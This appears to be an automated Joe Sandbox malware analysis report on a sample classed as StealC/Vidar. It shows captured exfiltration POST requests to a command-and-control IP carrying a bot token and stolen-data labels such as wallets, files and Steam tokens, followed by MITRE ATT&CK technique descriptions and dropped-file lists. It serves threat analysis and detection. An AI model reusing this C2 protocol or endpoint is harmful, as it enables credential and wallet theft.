name="token"c34c4686df54526fe50e450667052aa4ea0bf35bbf0aa63153f4cc05f6dc9542843e0ee2------FIJJKECFCFBGDHIECAAFContent-Disposition: form-data; name="message"wallets------FIJJKECFCFBGDHIECAAF--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGDGDHJJDGHCAAAKEHIJHost: 185.215.113.37Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 44 47 44 48 4a 4a 44 47 48 43 41 41 41 4b 45 48 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 33 34 63 34 36 38 36 64 66 35 34 35 32 36 66 65 35 30 65 34 35 30 36 36 37 30 35 32 61 61 34 65 61 30 62 66 33 35 62 62 66 30 61 61 36 33 31 35 33 66 34 63 63 30 35 66 36 64 63 39 35 34 32 38 34 33 65 30 65 65 32 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 47 44 48 4a 4a 44 47 48 43 41 41 41 4b 45 48 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 47 44 48 4a 4a 44 47 48 43 41 41 41 4b 45 48 49 4a 2d 2d 0d 0a Data Ascii: ------EGDGDHJJDGHCAAAKEHIJContent-Disposition: form-data; name="token"c34c4686df54526fe50e450667052aa4ea0bf35bbf0aa63153f4cc05f6dc9542843e0ee2------EGDGDHJJDGHCAAAKEHIJContent-Disposition: form-data; name="message"files------EGDGDHJJDGHCAAAKEHIJ--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIJEBFCFIJJJEBGDBAKEHost: 185.215.113.37Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 49 4a 45 42 46 43 46 49 4a 4a 4a 45 42 47 44 42 41 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 33 34 63 34 36 38 36 64 66 35 34 35 32 36 66 65 35 30 65 34 35 30 36 36 37 30 35 32 61 61 34 65 61 30 62 66 33 35 62 62 66 30 61 61 36 33 31 35 33 66 34 63 63 30 35 66 36 64 63 39 35 34 32 38 34 33 65 30 65 65 32 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 45 42 46 43 46 49 4a 4a 4a 45 42 47 44 42 41 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 45 42 46 43 46 49 4a 4a 4a 45 42 47 44 42 41 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 45 42 46 43 46 49 4a 4a 4a 45 42 47 44 42 41 4b 45 2d 2d 0d 0a Data Ascii: ------IIJEBFCFIJJJEBGDBAKEContent-Disposition: form-data; name="token"c34c4686df54526fe50e450667052aa4ea0bf35bbf0aa63153f4cc05f6dc9542843e0ee2------IIJEBFCFIJJJEBGDBAKEContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------IIJEBFCFIJJJEBGDBAKEContent-Disposition: form-data; name="file"------IIJEBFCFIJJJEBGDBAKE--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBFBFBFIIJDAKECAKKJEHost: 185.215.113.37Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 42 46 42 46 42 46 49 49 4a 44 41 4b 45 43 41 4b 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 33 34 63 34 36 38 36 64 66 35 34 35 32 36 66 65 35 30 65 34 35 30 36 36 37 30 35 32 61 61 34 65 61 30 62 66 33 35 62 62 66 30 61 61 36 33 31 35 33 66 34 63 63 30 35 66 36 64 63 39 35 34 32 38 34 33 65 30 65 65 32 0d 0a 2d 2d 2d 2d 2d 2d 45 42 46 42 46 42 46 49 49 4a 44 41 4b 45 43 41 4b 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 45 42 46 42 46 42 46 49 49 4a 44 41 4b 45 43 41 4b 4b 4a 45 2d 2d 0d 0a Data Ascii: ------EBFBFBFIIJDAKECAKKJEContent-Disposition: form-data; name="token"c34c4686df54526fe50e450667052aa4ea0bf35bbf0aa63153f4cc05f6dc9542843e0ee2------EBFBFBFIIJDAKECAKKJEContent-Disposition: form-data; name="message"ybncbhylepme------EBFBFBFIIJDAKECAKKJE--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDBAKKKFBGDHJKFHJJJJHost: 185.215.113.37Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 44 42 41 4b 4b 4b 46 42 47 44 48 4a 4b 46 48 4a 4a 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 33 34 63 34 36 38 36 64 66 35 34 35 32 36 66 65 35 30 65 34 35 30 36 36 37 30 35 32 61 61 34 65 61 30 62 66 33 35 62 62 66 30 61 61 36 33 31 35 33 66 34 63 63 30 35 66 36 64 63 39 35 34 32 38 34 33 65 30 65 65 32 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 41 4b 4b 4b 46 42 47 44 48 4a 4b 46 48 4a 4a 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 41 4b 4b 4b 46 42 47 44 48 4a 4b 46 48 4a 4a 4a 4a 2d 2d 0d 0a Data Ascii: ------GDBAKKKFBGDHJKFHJJJJContent-Disposition: form-data; name="token"c34c4686df54526fe50e450667052aa4ea0bf35bbf0aa63153f4cc05f6dc9542843e0ee2------GDBAKKKFBGDHJKFHJJJJContent-Disposition: form-data; name="message"wkkjqaiaxkhb------GDBAKKKFBGDHJKFHJJJJ--

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AAKJEGCF

C:\ProgramData\BKFBAECBAEGDGDHIEHIJ

C:\ProgramData\CAAAFCAKKKFBFIDGDBFHJJEHID

C:\ProgramData\FCGIJKJJKEBGHJKFIDGCAAFCAF

C:\ProgramData\FIJJKECFCFBGDHIECAAFIIDAKK

C:\ProgramData\GCBGCGHD

C:\ProgramData\GCBKECAKFBGCAKECGIEHDGHCBA

C:\ProgramData\HJDBAFIECGHCBFIDGDAA

C:\ProgramData\HJJECBKKECFIEBGCAKJK

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

C:\ProgramData\msvcp140.dll

Windows Analysis Report
file.exe

Function 005F9860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Function 005E45C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Function 005EBE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Function 6C6535A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Function 005F4910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172
fileCOMMON

Function 005E4880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Function 005F9C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Function 005E7710 Relevance: 81.6, APIs: 54, Instructions: 584
stringmemoryCOMMON

Function 005F0250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366
stringmemoryCOMMON

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre